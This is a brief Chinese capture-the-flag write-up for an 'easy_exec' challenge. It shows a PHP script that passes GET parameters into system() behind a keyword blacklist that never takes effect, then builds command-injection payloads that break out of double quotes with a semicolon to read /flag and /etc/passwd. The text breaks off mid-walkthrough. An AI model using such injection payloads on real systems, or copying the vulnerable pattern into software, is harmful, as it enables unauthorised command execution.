easy_exec
题目
打开环境,得到:
看下源码,发现有个de.php
,访问:
<?php
highlight_file(__FILE__);
$comm1 = $_GET['comm1'];
$comm2 = $_GET['comm2'];
if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
$file1 = "";
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
$file2 = "";
$flag = "#flag in fllllag";
$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';
$cmd = "file $comm1 $comm2";
system($cmd);
?>
进行下代码审计,其实这个就是个闭合双引号的问题,一步步构造payload:
先试验了comm1="cat /flag"&comm2=
,得到:
结合这下面得提示与第一个正则匹配,试着继续构造comm1=flag"cat%20/flag"&comm2=/etc/passwd
得到:
可知在flag与cat中间应该要加一个分号,继续构造comm1=flag";cat%20/flag"&comm2=/etc/passwd